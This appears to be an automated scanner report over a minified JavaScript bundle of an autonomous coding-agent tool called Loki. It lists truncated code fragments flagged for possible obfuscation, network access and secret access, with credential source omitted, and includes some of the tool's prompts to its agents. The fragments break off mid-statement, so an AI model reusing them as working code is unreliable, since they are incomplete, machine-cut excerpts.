`).some((K)=>{let G=/^\s*(?:extra-)?index-url\s*[=:]\s*(.+)$/.exec(K);return!!G&&G[1].split(/\s+/).some(sT)}))}if($==="cargo"){if(Object.keys(J).some((z)=>/^CARGO_REGISTRIES_.+_INDEX$/.test(z)||/^CARGO_SOURCE_/.test(z)))return!0;return W(T$ - Possible obfuscationline 819
`)}var BH0="tests ran on the system interpreter",JM8=" (the repo declares no Python dependencies, so this is its interpreter; informational, does not cap)",OH0="receipt signing unavailable (no usable signing key: invalid key or unwritable ~ - Possible obfuscationline 821
`)],{repoDrivers:!0,userHooks:!0})).code!==0)return{status:"failed",data:{},reason:"git commit failed"};return{status:"completed",data:{committed:!0,head_sha:(await b7($,["rev-parse","HEAD"])).out.trim(),scope_notes:z}}}};EH0={name:"seal",. - Possible obfuscationline 823
`)}let M4=q0.jwt!==null,O2={...o?{wall_published:{files:H0.files.map((B0)=>B0.rel),cmds:[...new Set(H0.files.map((B0)=>B0.cmd))]}}:{},receipt_path:u5,receipt_sha256:w0,signed:M4,kid:q0.kid,verdict:e,not_proven:U8.not_proven,...U8.context?{c - Possible obfuscationline 825
Output format override: do NOT write test code. Write exactly one file, ${rU}, holding JSON {"cases":[...]} (at most ${Uc}). Each case: {"name": python identifier, "kind": one of ${qc.join("|")}, "imports": ["from pkg import fn", ...], "arr - Possible obfuscationline 839
`}function LM8($,Z,J){let[X,,Y]=TY(J,"python","python3"),Q=(q)=>{let U=VM8(X,[...Y,"-I","-c",BM8],{input:JSON.stringify(q),encoding:"utf8",env:x5(),timeout:30000});try{let B=JSON.parse(U.stdout??"");if(U.status===0&&Array.isArray(B)&&B.leng - Possible obfuscationline 916
`,qc,MM8,NM8,Uc=40,FM8=($=process.env)=>$.LOKI_E10_WALL_CASES==="1",SH0=($)=>$.startsWith("test")?$:`test_${$}`,wH0="At least one test must reproduce this failure from the evidence and FAIL on the current code. A test that already passes on - Possible obfuscationline 918
`+wH0,fH0=($,Z)=>[...HJ0($),...Z?[TM8(Z)]:[]];var mH0=_(()=>{CT();o9();j3();i8();qc=["equals","not_equals","true","false","is_none","raises"],MM8=new Set(["name","kind","imports","arrange","call","expected","exception"]),NM8=/^(?:import [A- - Possible obfuscationline 925
`);if(Y)return Y}catch{}return process.env.LOKI_E10_TASK_TEXT??""}function dH0($,Z,J=[],X=[]){let Y=Z[0];if(!Y&&J.includes("dotnet"))return e4($,cH0(cv($)??"tests/x"));if(!Y&&J.some((Q)=>Q==="maven"||Q==="gradle"||Q==="javac"))return e4($," - Possible obfuscationline 927
${J.note}`:""),tier:"development",model:s,iterationId:z0,limitS:Fc(G.size),maxOutputTokens:$P(),signal:Z,cwd:x});if(h.killed||h.exit===null)return cY(x,{recursive:!0,force:!0}),X({status:"failed",data:{iteration_ids:[z0],model:s},reason:"wa - Possible obfuscationline 928
`)}async function Zq0($,Z,J={}){let X=Date.now(),Y=await JI($,Z),Q=Y.kind==="done"?Y.result:await Nc($,Y,$.repoDir,J),W=Y.kind==="authored"?Y.model:Q.data.model??"",z=Y.kind==="done"&&Q.killed===!0,V=Y.kind==="authored"&&Q.status==="complet - Possible obfuscationline 934
${Kq0}`,...Y?{resumeSessionId:Y}:{}});return{session:{...!Q.killed&&(Q.markers.done||Q.markers.alreadyDone!==null||Q.markers.specConflict!==null)?Q:J,durationS:J.durationS+Q.durationS},iterationId:X}}function Lq0($,Z){let{files:J,readOnlyFi - Possible obfuscationline 936
`)}),K=!V.killed&&V.exit===0,G={};if(K)for(let H of W)try{G[H]=YB(G9(z,H),"utf8")}catch{}return{verdict:K?cM8(G9(z,"verdict.json")):null,out:G,ids:[J],durationS:V.durationS}}finally{MV(z,{recursive:!0,force:!0})}}async function zI($,Z,J,X,Y - Possible obfuscationline 946
${O}`,...L?{resumeSessionId:L}:{}}),P=J.durationS+q.durationS+C.durationS;return{session:{...!C.killed&&(C.markers.done||C.markers.alreadyDone!==null||C.markers.specConflict!==null)?C:J,durationS:P},ids:z,defect:{file:Y.file,line:Y.line,rea - Possible obfuscationline 947
`),pM8=($)=>[`${$}.orig is a test file and ${$}.new is a proposed replacement of it. Decide, from task.md alone, whether the change is a correction that task.md requires: the old assertion contradicts task.md and the new one follows from it - Possible obfuscationline 948
`),iM8="the implementer reported it conflicts with the task while the repo's own tests pass on the change: Wall defect, discarded",aM8="only Loki's own acceptance test still failed after a fix round while the repo's own tests pass on the ch - Network accessline 949
`),G),J=$.deps.read??((G)=>Pq0(G,"utf8")),X;try{X=J($.receiptPath)}catch{return Z(2,`receipt not found: ${$.receiptPath}`)}let Y;try{Y=JSON.parse(X)}catch{return Z(2,"receipt.json is not valid JSON")}let Q=$.runId===null?null:Rq0(Y,$.runId) - Network accessline 950
`);try{return process.stdout.write(`${JSON.stringify(eM8(Y,$.key,V))} `),0}catch(G){return Z(2,G.message)}}var Dc="application/vnd.in-toto+json",Aq0="https://in-toto.io/Statement/v1",Tq0="https://autonomi.dev/loki/receipt/v10",x3=($)=>!!$&& - Network accessline 951
`),0}catch(G){return Z(2,G.message)}}var Dc="application/vnd.in-toto+json",Aq0="https://in-toto.io/Statement/v1",Tq0="https://autonomi.dev/loki/receipt/v10",x3=($)=>!!$&&typeof $==="object"&&typeof $.payloadType==="string"&&typeof $.payload - Possible obfuscationline 951
`),0}catch(G){return Z(2,G.message)}}var Dc="application/vnd.in-toto+json",Aq0="https://in-toto.io/Statement/v1",Tq0="https://autonomi.dev/loki/receipt/v10",x3=($)=>!!$&&typeof $==="object"&&typeof $.payloadType==="string"&&typeof $.payload - Possible obfuscationline 956
`),0}var Sc=_(()=>{v7()});var OV={};D0(OV,{verifyReceipt:()=>f6,main:()=>MI,computeReceiptHash:()=>EJ,checkEventLog:()=>cq0,checkAttestation:()=>VB});import{existsSync as BI,readFileSync as I$,renameSync as zN8,statSync as VN8,writeFileSync - Possible obfuscationline 963
`).digest("hex"),F=U.kid===J?y1(J,X):void 0;if(!F||U.events_sha256!==M||U.tampered!==!1||typeof U.sig!=="string"||!mq0(null,Buffer.from(`${M}:false`),F,Buffer.from(U.sig,"base64url")))return{verdict:"TAMPERED",reason:"log.sealed line is inv - Possible obfuscationline 972
`),X.jwt?0:HI.UNSIGNED}function bc($){let Z=[];try{let Q=JSON.parse(I$($,"utf8")).checks;if(Array.isArray(Q))Z=Q}catch{}let J=Z.filter((Q)=>Q?.result==="pass");if(!J.some((Q)=>typeof Q.provenance==="string"))return{line:"agent-independent: - Network accessline 980
--export-dsse prints a VERIFIED or ALREADY_SATISFIED run receipt as an in-toto Statement v1 in a DSSE envelope (Ed25519 over PAE); verify accepts that file too. --sign-deploy FILE signs a loki.deploy/1 deploy record in place; verif - Network accessline 981
--sign-deploy FILE signs a loki.deploy/1 deploy record in place; verify FILE (add --receipt FILE when the cited receipt is not beside it) re-checks it offline and is VERIFIED only when the signature and the cited receipt both are. - Network accessline 982
--sign-provenance FILE signs a loki.provenance/1 doc (head_sha, tree_sha, receipt_sha256, run_id, built_at) in place; --url https://host [--expect-sha SHA] [--receipt FILE] [--pubkey FILE] fetches <host>/.well-known/loki-provenance.json (5s - Possible obfuscationline 1011
`),4}return HI[N.verdict]}var EJ=($)=>HV($),uq0=($)=>$!==null&&typeof $==="object"&&!Array.isArray($),gq0=($)=>{let{k:Z,of:J}=bc($);return{k:Z,of:J}},HI,MI=($,Z={})=>LX0($,(J,X)=>NN8(J,Z,X));var k3=_(()=>{G8();K9();lY();r4();_2();TU();V9(); - Possible obfuscationline 1013
`);if(H){if(Q.task=H,K&&typeof Q.title!=="string")Q.title=K}}catch{}}if(Object.keys(Q).length>0)J.intake=Q;let W={...J.plan??{}};if(typeof W.plan!=="string"||!W.plan.trim()){let z=lq0(x8($,"plan-output.txt"));if(z&&z.trim())W.plan=z.trim()} - Possible obfuscationline 1016
`))return{ok:!1,reason:"event log ends in a torn line"}}if(X.length===0)return{ok:!1,reason:"event log is empty or unreadable"};if(X.some((M,F)=>M.seq!==F))return{ok:!1,reason:"event log has a sequence gap"};if(new Set(X.map((M)=>M.run)).si - Possible obfuscationline 1028
`),2}}let I=V.events.find((d)=>d.type==="run.started")?.data??{},w=String(I.provider??"claude"),E=String(I.model??""),D=I.deep===!0,x={...process.env,...T!==void 0?{LOKI_E10_CAP_S:String(Math.floor(T))}:{},...L.usd>0?{LOKI_E10_SPENT_USD:Str - Possible obfuscationline 1029
`),z0(h.outcome)}async function TN8($,Z,J){let X=J.flatMap((A,I)=>A.type==="receipt.sealed"?[I]:[]),Y=J.findLastIndex((A,I)=>A.type==="log.sealed"&&I>(X[0]??-1)+1);if(X.length!==1)return{problem:`event log holds ${X.length} receipt.sealed e - Possible obfuscationline 1035
`),0}function WU0($,Z){let J=$.trim().toLowerCase(),X=Z?["resume","fresh","discard","details"]:["fresh","discard","details"];if(J==="")return X[0];if(/^[1-9]$/.test(J))return X[Number(J)-1]??null;if(["f","s","fresh","start","start fresh"].i - Possible obfuscationline 1055
`),4}function PI($){let Z=$.find((J)=>J.type==="stage.completed"&&J.stage==="intake")?.data;return Z?.source==="text"&&Z?.already_satisfied===!0&&typeof Z.comment==="string"?Z.comment:null}function AI($){return PV($.find((Z)=>Z.type==="stag - Possible obfuscationline 1057
`}function xN8($){let Z=Promise.resolve(),J="",X=$.origin?{...$.env,_LOKI_ORIGIN_PINNED:"1",_LOKI_PINNED_ORIGIN:$.origin}:$.env,Y=(W)=>["issue-comment","--update",$.issueRef,W],Q=async(W)=>{let z=w8($.eventsPath),V=Date.parse(z[0]?.ts??"")| - Possible obfuscationline 1068
`:""}`}function GB($,Z){return Z?$.cost.inputTokens+$.cost.outputTokens+$.cost.cacheReadTokens+$.cost.cacheCreationTokens:null}function HB($,Z){let J=Z?null:NP($.filter((X)=>X.type==="cost").map((X)=>({model:typeof X.data.model==="string"?X - Possible obfuscationline 1070
[Credential-related source omitted] - Access to secretsline 1070
[Credential-related source omitted] - Possible obfuscationline 1082
`}function LU0($){if($.usd!=null)return`$${$.usd.toFixed(2)} (measured)${typeof $.retryUsd==="number"&&Number.isFinite($.retryUsd)&&$.retryUsd>0?` ($${$.retryUsd.toFixed(2)} on retries)`:""}`;if($.measuredSessions)return`partial: $${($.part - Possible obfuscationline 1084
`}function PU0($){let Z=(M)=>$.events.findLast((F)=>F.type==="stage.completed"&&F.stage===M)?.data??{},J=$.events.find((M)=>M.type==="run.started")?.data??{},X=Array.isArray(Z("verify").pre_red_checks)?Z("verify").pre_red_checks:[],Y=(Array - Possible obfuscationline 1086
[Credential-related source omitted] - Access to secretsline 1086
[Credential-related source omitted] - Possible obfuscationline 1088
[Credential-related source omitted] - Access to secretsline 1088
[Credential-related source omitted] - Possible obfuscationline 1089
`)}return X}function BB($,Z,J,X){let Y=R$(Z.LOKI_E10_MAX_COST_USD)??0,Q=Number(Z.LOKI_E10_SPENT_USD),W=_U0(Y,Q),z=Z.LOKI_BUDGET_LEDGER?Qd(Z.LOKI_BUDGET_LEDGER):"",V=!1;if(z)try{kI(z,""),EU0(z)}catch{V=!0}let K=Number.isFinite(Q)&&Q>0?Q:0;if - Possible obfuscationline 1092
`)}catch{V=!0}}if($(O,L,C),O==="cost"&&Y>0)for(let P of Wd){let T=q();if(U.has(P)||!B(T,P))continue;U.add(P);let A={threshold_pct:Math.round(P*100),threshold_usd:Math.round(Y*P*1e6)/1e6,usd_so_far:T,cap_usd:Y};$("budget",L,{...A});try{J?.(A - Possible obfuscationline 1093
`)}catch{}}function nN8($){try{let Z=JSON.parse(EU0($,"utf8"));return Z.outcome==="budget_stopped"&&typeof Z.spent_usd==="number"&&typeof Z.cap_usd==="number"?Z:null}catch{return null}}function SI($,Z){let J=rY($,".loki","runs"),X=[];try{X= - Possible obfuscationline 1094
`);return(X?J:xU0)*1000}async function hU0($,Z,J={}){let X=typeof J==="function"?{sleep:J}:J,Y=X.sleep??(()=>$F8(1000)),Q=X.alive??ZF8,W=X.now??Date.now,z=X.timeoutMs??JF8(),V=W(),K=bI($),G=null;while(K==="pause"){if(!Q()){G="owner_gone";br - Possible obfuscationline 1102
`);if(!N)return{text:C,files:G,pack:null};let{text:P,...T}=N;return{text:C,files:[...new Set([...G,...N.files])],pack:T}}var vI,uU0=20,WF8=10,Ud=($)=>/^[\w@%+=:,./-]+$/.test($)?$:`'${$.replace(/'/g,"'\\''")}'`,zF8=($,Z,J)=>[...new Set(($?.r - Possible obfuscationline 1103
`)});import{closeSync as uI,constants as Q7,fchmodSync as pU0,lstatSync as eY,mkdirSync as lU0,openSync as cI,readFileSync as iU0,readlinkSync as VF8,realpathSync as fI,rmSync as gI,symlinkSync as KF8,unlinkSync as GF8,writeFileSync as Nd}f - Possible obfuscationline 1106
`).join(""),q=new Set(LB(V,$.base).map((U)=>U.path).filter((U)=>!X.has(U)));return{diff:G+H,weakensTest:[...$.wallPaths].some((U)=>Q(V,z===0,U,q))}},async score(){let z=[];for(let V of $.S)await $.runOne(V,z);return z},dispose:()=>{try{eU0( - Possible obfuscationline 1112
`))}var KB0=10,GB0="plan-output.txt",Ad,_F8;var Td=_(()=>{iC();t6();_6();C4();c5();R3();kU();AJ();QV();VB0();JJ();j4();CT();XV();Ad={name:"plan",targetS:45,limitS:90,async run($,Z){let J=$.outputs(),X=qV($,J.intake?.task),Y=J.intake?.repoma - Possible obfuscationline 1114
${WB0}`:""),tier:"fast",iterationId:N,limitS:Ad.limitS,signal:Z,cwd:$.repoDir,...G.pinFor(x,$.model)}),C=await L(!1),P=G.planModel(LJ(process.env)),T=null;if(G.pinOpus&&!C.killed&&C.exit!==0)P=jd($.model),T=`Opus plan session failed (${C.ex - Possible obfuscationline 1117
`))}function ZQ($){let Z=[];for(let J of $)if((fF8(J.path)?IB0(J.path,"utf8"):null)!==J.content)RB0(J.path,J.content,"utf8"),Z.push(J.path);return Z}function TB0($){try{return M$($.repoDir,$.baseSha,v6($.repoDir,$.outputs().intake?.install_ - Possible obfuscationline 1119
`);let G=Dd($.repoDir,$.runId,X,[...J.plan?.relevant_files??[],...Q],$.runDir),H=EB0($,z?void 0:V?.to??$.model),q=H.text+G+_V($.repoDir),U=cF8($),B=z||!Y?null:TZ0($,V?.to??$.model,LJ(process.env)),M=z||process.env.LOKI_E10_ATTEMPTS==="2"?nu - Possible obfuscationline 1120
`);let z0=`${C.iterationId}f`;E.push(z0),w=await $.sessions.run({...P(),iterationId:z0})}if(A&&!Z.aborted)w=await OB0($,C,w,A,E,()=>TB0($));if(w.markers.specConflict&&!w.killed){let z0=await Fq0($,{...P(),iterationId:E[E.length-1]},w);if(w= - Possible obfuscationline 1124
${xm(d)}`,M=new Set,N={...$,sessions:{run:async(h)=>{M.add(h.iterationId);let d=K.length,v=MK0(h,$.repoDir,K);if(K.length>d)$.emit("intent.revised",v.stage,{revisions:K});let p=U===null?1/0:Math.max(1,T-($.clock.now()-U)/1000),Z0=v.stage=== - Possible obfuscationline 1125
`),v="stalled";break}c=o?e:null;let U0=await E("verify",!0);if(p.push(Z0(X.verify,U0)),D("verify",U0))break;if(Ec(X,$.repoDir)&&wc(X,$.repoDir)===i)break;if(SB0(X.verify)&&p.length>=2&&p.slice(-2).every((E0)=>E0===p[p.length-1])){let E0=Zg( - Network accessline 1126
`)){let Y=X.trim();if(!Y)continue;if(XO8.test(Y))return{reason:"rate_limit",evidence:Y.slice(0,300)};if(YO8.test(Y))return{reason:"outage",evidence:Y.slice(0,300)}}return null}function WO8($=process.env){return $.LOKI_FAILOVER!=="0"}functio - Possible obfuscationline 1126
`)){let Y=X.trim();if(!Y)continue;if(XO8.test(Y))return{reason:"rate_limit",evidence:Y.slice(0,300)};if(YO8.test(Y))return{reason:"outage",evidence:Y.slice(0,300)}}return null}function WO8($=process.env){return $.LOKI_FAILOVER!=="0"}functio - Network accessline 1127
[Credential-related source omitted] - Possible obfuscationline 1127
[Credential-related source omitted] - Network accessline 1128
`)}}async function qO8($,Z,J){let X=$[$.LOKI_SLACK_WEBHOOK_ENV||"LOKI_SLACK_WEBHOOK_URL"],Y=async()=>{if(!X)return;try{await fetch(X,{method:"POST",headers:{"content-type":"application/json"},body:JSON.stringify(uB0(Z,J))})}catch(Q){process - Possible obfuscationline 1129
[Credential-related source omitted] - Access to secretsline 1129
[Credential-related source omitted] - Possible obfuscationline 1131
[Credential-related source omitted] - Access to secretsline 1131
[Credential-related source omitted] - Possible obfuscationline 1132
[Credential-related source omitted] - Possible obfuscationline 1139
${Q.join( `)}`.replace(/\s+$/,"");return{...$,body:W,comments:X,comments_omitted:Y,comments_excluded:J}}function XM0($,Z){let J=Number(process.env.LOKI_FETCH_ISSUE_TIMEOUT_MS)||60000;return FO8($,Z,{encoding:"utf8",env:process.env,timeout:J - Network accessline 1140
`)}`.replace(/\s+$/,"");return{...$,body:W,comments:X,comments_omitted:Y,comments_excluded:J}}function XM0($,Z){let J=Number(process.env.LOKI_FETCH_ISSUE_TIMEOUT_MS)||60000;return FO8($,Z,{encoding:"utf8",env:process.env,timeout:J,killSigna - Network accessline 1141
${$.body.trim()} `,TO8;var QR=_(()=>{G8();jO8=new Set(["OWNER","MEMBER","COLLABORATOR"]);TO8=LO8(x0,"autonomy/issue-providers.sh")});var HM0={};D0(HM0,{validItemKey:()=>fd,steerActors:()=>vd,runTrackerListCli:()=>vO8,parseTrackerRef:()=>RB, - Network accessline 1142
`,TO8;var QR=_(()=>{G8();jO8=new Set(["OWNER","MEMBER","COLLABORATOR"]);TO8=LO8(x0,"autonomy/issue-providers.sh")});var HM0={};D0(HM0,{validItemKey:()=>fd,steerActors:()=>vd,runTrackerListCli:()=>vO8,parseTrackerRef:()=>RB,parseTrackerProje - Possible obfuscationline 1142
`,TO8;var QR=_(()=>{G8();jO8=new Set(["OWNER","MEMBER","COLLABORATOR"]);TO8=LO8(x0,"autonomy/issue-providers.sh")});var HM0={};D0(HM0,{validItemKey:()=>fd,steerActors:()=>vd,runTrackerListCli:()=>vO8,parseTrackerRef:()=>RB,parseTrackerProje - Network accessline 1149
[Credential-related source omitted] - Possible obfuscationline 1149
[Credential-related source omitted] - Access to secretsline 1149
[Credential-related source omitted] - Network accessline 1150
`),2;try{let K=await GM0(Y,{...z?{label:z}:{},...V?{numbers:V.split(",").map(Number)}:{}},Z,J);return process.stdout.write(`${JSON.stringify(K)} `),0}catch(K){return process.stderr.write(`loki internal tracker-list: ${K.message} `),1}}var b - Network accessline 1151
`),0}catch(K){return process.stderr.write(`loki internal tracker-list: ${K.message} `),1}}var bd="[A-Z][A-Z0-9_]*-\\d+",RO8,EO8,wO8,DO8,_O8,zR=200,VM0=($,Z)=>$.number-Z.number,KM0=($)=>Number(/-(\d+)$/.exec($)?.[1]??0);var VR=_(()=>{QR();RO - Network accessline 1152
`),1}}var bd="[A-Z][A-Z0-9_]*-\\d+",RO8,EO8,wO8,DO8,_O8,zR=200,VM0=($,Z)=>$.number-Z.number,KM0=($)=>Number(/-(\d+)$/.exec($)?.[1]??0);var VR=_(()=>{QR();RO8=new RegExp(`^jira:(${bd})$`),EO8=new RegExp(`^https://([\\w-]+(?:\\.[\\w-]+)*\\.at - Possible obfuscationline 1152
`),1}}var bd="[A-Z][A-Z0-9_]*-\\d+",RO8,EO8,wO8,DO8,_O8,zR=200,VM0=($,Z)=>$.number-Z.number,KM0=($)=>Number(/-(\d+)$/.exec($)?.[1]??0);var VR=_(()=>{QR();RO8=new RegExp(`^jira:(${bd})$`),EO8=new RegExp(`^https://([\\w-]+(?:\\.[\\w-]+)*\\.at - Possible obfuscationline 1153
`)}clear(){if(this.shown)this.o.write("\r\x1B[2K"),this.shown=!1;this.closed=!0}}var hO8;var qM0=_(()=>{P$();BJ();K9();hO8={intake:"reading the task",plan:"planning",wall:"writing acceptance checks",implement:"implementing",verify:"verifyin - Network accessline 1154
[Credential-related source omitted] - Possible obfuscationline 1154
[Credential-related source omitted] - Access to secretsline 1154
[Credential-related source omitted] - Network accessline 1155
`),X.push(`wrote default config ${B} (provider=${q})`)}catch(F){Y.push(`loki config set provider claude (${F.message})`)}else try{JSON.parse(CL8(B,"utf8"))}catch{let F=`${B} is not valid JSON; fix or delete it, then run: loki config set p - Network accessline 1156
[Credential-related source omitted] - Access to secretsline 1156
[Credential-related source omitted] - Network accessline 1162
Run these yourself (need a package manager, sudo, network or your consent): `);for(let Y of J)process.stdout.write(` ${Y} `)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encodi - Network accessline 1163
`);for(let Y of J)process.stdout.write(` ${Y} `)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encoding:"utf8",env:S8()});if(X.error)return{status:null,stderr:String(X.error.mes - Network accessline 1164
`)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encoding:"utf8",env:S8()});if(X.error)return{status:null,stderr:String(X.error.message)};return{status:X.status,stderr:X.stderr?? - Possible obfuscationline 1164
`)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encoding:"utf8",env:S8()});if(X.error)return{status:null,stderr:String(X.error.message)};return{status:X.status,stderr:X.stderr?? - Network accessline 1165
`)}function uL8($){let Z=$.match(mL8);return Z?Z[1]:null}async function JN0($){try{let Z=await B8([$,"--version"],{timeoutMs:5000}),J=(Z.stdout||Z.stderr||"").trim();return uL8(J)}catch{return null}}async function XN0($,Z,J,X=null){let Y=aw - Possible obfuscationline 1165
`)}function uL8($){let Z=$.match(mL8);return Z?Z[1]:null}async function JN0($){try{let Z=await B8([$,"--version"],{timeoutMs:5000}),J=(Z.stdout||Z.stderr||"").trim();return uL8(J)}catch{return null}}async function XN0($,Z,J,X=null){let Y=aw - Network accessline 1166
[Credential-related source omitted] - Possible obfuscationline 1166
[Credential-related source omitted] - Access to secretsline 1166
[Credential-related source omitted] - Network accessline 1185
`),process.stdout.write(`Checks: node, python3, jq, git, curl, bash version, `),process.stdout.write(` claude/opencode CLIs, and disk space. `)}function Zj8($){let Z="other";if($.includes("No AI provider CLI"))Z="no_provider";else if - Network accessline 1187
`)}function Zj8($){let Z="other";if($.includes("No AI provider CLI"))Z="no_provider";else if($.includes("Node.js is not installed")||$.includes("Node.js must be"))Z="node";else if($.includes("Python 3 is not installed")||$.includes("Python - Access to secretsline 1209
[Credential-related source omitted] - Access to secretsline 1212
[Credential-related source omitted] - Access to secretsline 1213
[Credential-related source omitted] - Access to secretsline 1250
[Credential-related source omitted] - Possible obfuscationline 1332
`),1;if(W){let{loadProfile:K,ensureProfile:G,renderProfile:H,repoReadiness:q}=await Promise.resolve().then(() => (R2(),rQ0)),U=K(process.cwd());if((!U||Y)&&process.env.LOKI_REPO_BASELINE!=="0")U=G(process.cwd())?.profile??U;let B=await MR() - Possible obfuscationline 1338
[Credential-related source omitted] - Access to secretsline 1338
[Credential-related source omitted] - Network accessline 1343
[Credential-related source omitted] - Possible obfuscationline 1343
[Credential-related source omitted] - Network accessline 1344
`);if(Z==="failed")return["Loki run failed without a PR.",J].filter(Boolean).join(` `);return[`Loki outcome: ${$.verdict}`,`PR: ${$.prUrl??"none"}`,`Receipt sha256: ${$.receiptSha256??"unavailable"}`].join(` `)}async function PR($,Z,J,X="co - Network accessline 1345
`);return[`Loki outcome: ${$.verdict}`,`PR: ${$.prUrl??"none"}`,`Receipt sha256: ${$.receiptSha256??"unavailable"}`].join(` `)}async function PR($,Z,J,X="comment"){try{let Y=await fetch($,{...Z,signal:AbortSignal.timeout(1e4)});if(!Y.ok)pro - Network accessline 1346
`)}async function PR($,Z,J,X="comment"){try{let Y=await fetch($,{...Z,signal:AbortSignal.timeout(1e4)});if(!Y.ok)process.stderr.write(`writeback: ${J} ${X} failed (HTTP ${Y.status}) - Network accessline 1347
`)}catch(Y){process.stderr.write(`writeback: ${J} ${X} failed (${Y.name}) `)}}async function Cj8($,Z=process.env){try{let J=Z.LOKI_JIRA_URL??Z.JIRA_BASE_URL,X=Z.LOKI_JIRA_TOKEN??Z.JIRA_API_TOKEN,Y=Z.LOKI_JIRA_EMAIL??Z.JIRA_EMAIL,Q=Z.LOKI_LI - Network accessline 1348
[Credential-related source omitted] - Possible obfuscationline 1348
[Credential-related source omitted] - Access to secretsline 1348
[Credential-related source omitted] - Network accessline 1349
[Credential-related source omitted] - Possible obfuscationline 1350
`)}}var Pp;var TR=_(()=>{Pp=/\b[A-Z][A-Z0-9]{1,9}-\d{1,7}\b/});var Ap={};D0(Ap,{refuseCommandGoal:()=>Ij8,publishPlan:()=>Aj8,publishNote:()=>Tj8,landNext:()=>Rj8,inferProvider:()=>Pj8,PROVIDER_ORDER:()=>mN0});function Pj8($,Z){if(Z||gN0("c - Possible obfuscationline 1353
`),2}function Rj8($,Z,J){if(!$||!Z)return"";return $==="gh_unauthenticated"?`gh auth login && git push -u origin ${Z} && gh pr create --fill`:`git checkout ${J??"main"} && git merge --no-ff ${Z}`}var mN0,gN0=($,Z)=>!!Bun.which((Z[jR[$]]??"" - Possible obfuscationline 1354
${String(G.stderr??"")}`.slice(-16000);return Q({suiteExit:H,suiteOutput:B,reason:H===null?"suite did not complete":`suite exit ${H}`})}let q=$.walls?await dN0(new w3,$.repoDir,V,$.walls):void 0;if(q){let B=V.filter((F)=>q[F]?.status==="fai - Possible obfuscationline 1371
`),X;X=await J()}return X}var aN0=2,gj8=($)=>($.LOKI_GROUP_FIX_UNITS??"1")!=="0";var sN0=_(()=>{b0()});function pj8($){let Z=new Map;for(let J of $.units)for(let X of new Set(dj8(J)))Z.set(X,(Z.get(X)??0)+1);if(!Z.size)return 0;return[...Z. - Possible obfuscationline 1372
`),Z.map,Z.tests??null).size);for(let Q of $.units){let W=Y(Q);if(W!=="small"&&W!=="normal")return{mode:"sequential",reason:`${Q.id} sizes ${W}, needs small or normal`}}return{mode:"parallel",reason:`${$.units.length} units, overlap ${J.toF - Possible obfuscationline 1380
`}function Dp($,Z,J,X){let Y=t9($,".loki","metrics","efficiency"),Q=new Date().toISOString();try{let W={phase:"implement",provider:X,status:"group",kind:"group_cost",timestamp:Q},z=[];for(let V of J){if(V.measured>0&&V.usd!==null)z.push({.. - Possible obfuscationline 1404
[Credential-related source omitted] - Access to secretsline 1404
[Credential-related source omitted] - Possible obfuscationline 1415
`),{code:T,task:G}}return{code:0,task:G}}catch(N){return{code:await V(N),task:G}}}if(!q||q.units.length<2)return W(G,`decomposer returned ${q?.units.length??0} unit`);let M=cB(J,X.provider);if(M.slots<2)return W(G,`provider ${M.provider} ru - Possible obfuscationline 1418
`)}catch{}}var bp=3,wC8=20,vp=($=process.env)=>$.LOKI_FORECAST!=="0",DR=($)=>typeof $==="number"&&Number.isFinite($),NF0=($)=>EC8($,"quota-runs.jsonl"),MF0=($)=>{let Z=Math.floor(Math.min(...$)),J=Math.ceil(Math.max(...$));return Z===J?`${J - Possible obfuscationline 1437
`),0}function TF0($,Z,J,X,Y){let Q=[];if(Q.push("Loki overnight queue digest"),Q.push(`Started: ${$.toISOString()}`),Q.push(`Finished: ${Z.toISOString()}`),Q.push(`Processed: ${J.length} Skipped: ${X.length}`),Y)Q.push(`Stopped early: ${ - Possible obfuscationline 1444
`)}return Z.out(O),0}async function RF0($){let Z=Bun.spawn(["python3",dp(x0,"scripts","usage-governor.py"),"--json"],{stdout:"pipe",stderr:"pipe",stdin:"ignore",env:{...process.env}}),J=setTimeout(()=>Z.kill(),$),X=await new Response(Z.stdo - Possible obfuscationline 1449
`;var iB=_(()=>{L9();G8();E7();gp();kC8=/^(?:[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+#\d+|#?\d+)$/,SC8=/^https:\/\/github\.com\/([A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+)\/issues\/(\d+)\/?$/,yC8=/https:\/\/github\.com\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+\/pul - Possible obfuscationline 1452
`)}function vF0($,Z){return[`Loki triage: too-large (${ZZ($)}). Loki split it into ${Z.length} stacked pull requests, run in this order:`,"",...Z.map((J,X)=>`${X+1}. ${J.id}: ${J.title}${J.depends_on.length?` (after ${J.depends_on.join(", " - Possible obfuscationline 1455
`}function tp($,Z,J,X){return async(Y,Q,W,z)=>{let{mkdirSync:V,readFileSync:K,existsSync:G}=await import("fs"),{join:H}=await import("path"),{createSessionRunner:q}=await Promise.resolve().then(() => (_6(),nB)),{envOverride:U}=await Promise - Possible obfuscationline 1457
`}}var op,sp=2,iV=4,ZZ=($)=>$.replace(/[\x00-\x1f\x7f]+/g," ").replace(/\s+/g," ").trim(),uC8=500,np=($,Z,J=!1)=>{if(!Array.isArray($))return null;let X=[...new Set($.filter((Y)=>typeof Y==="string").map(ZZ).filter((Y)=>Y!==""&&(J||Y.length - Possible obfuscationline 1512
`)}}function JO0($,Z){return["You are triaging one GitHub issue for an autonomous coding agent that would attempt it as a single pull request in this repository.","Do not edit, create or delete any file. You may read the repository to judge - Possible obfuscationline 1513
`)}function XO0($){let Z=[...$.matchAll(ZO0)],J=Z[Z.length-1];return J?{decision:J[1],reason:J[2].trim()}:{decision:"unknown",reason:"triage reply had no TRIAGE line"}}function YO0($,Z,J){return async(X,Y)=>{let{createSessionRunner:Q}=await - Possible obfuscationline 1514
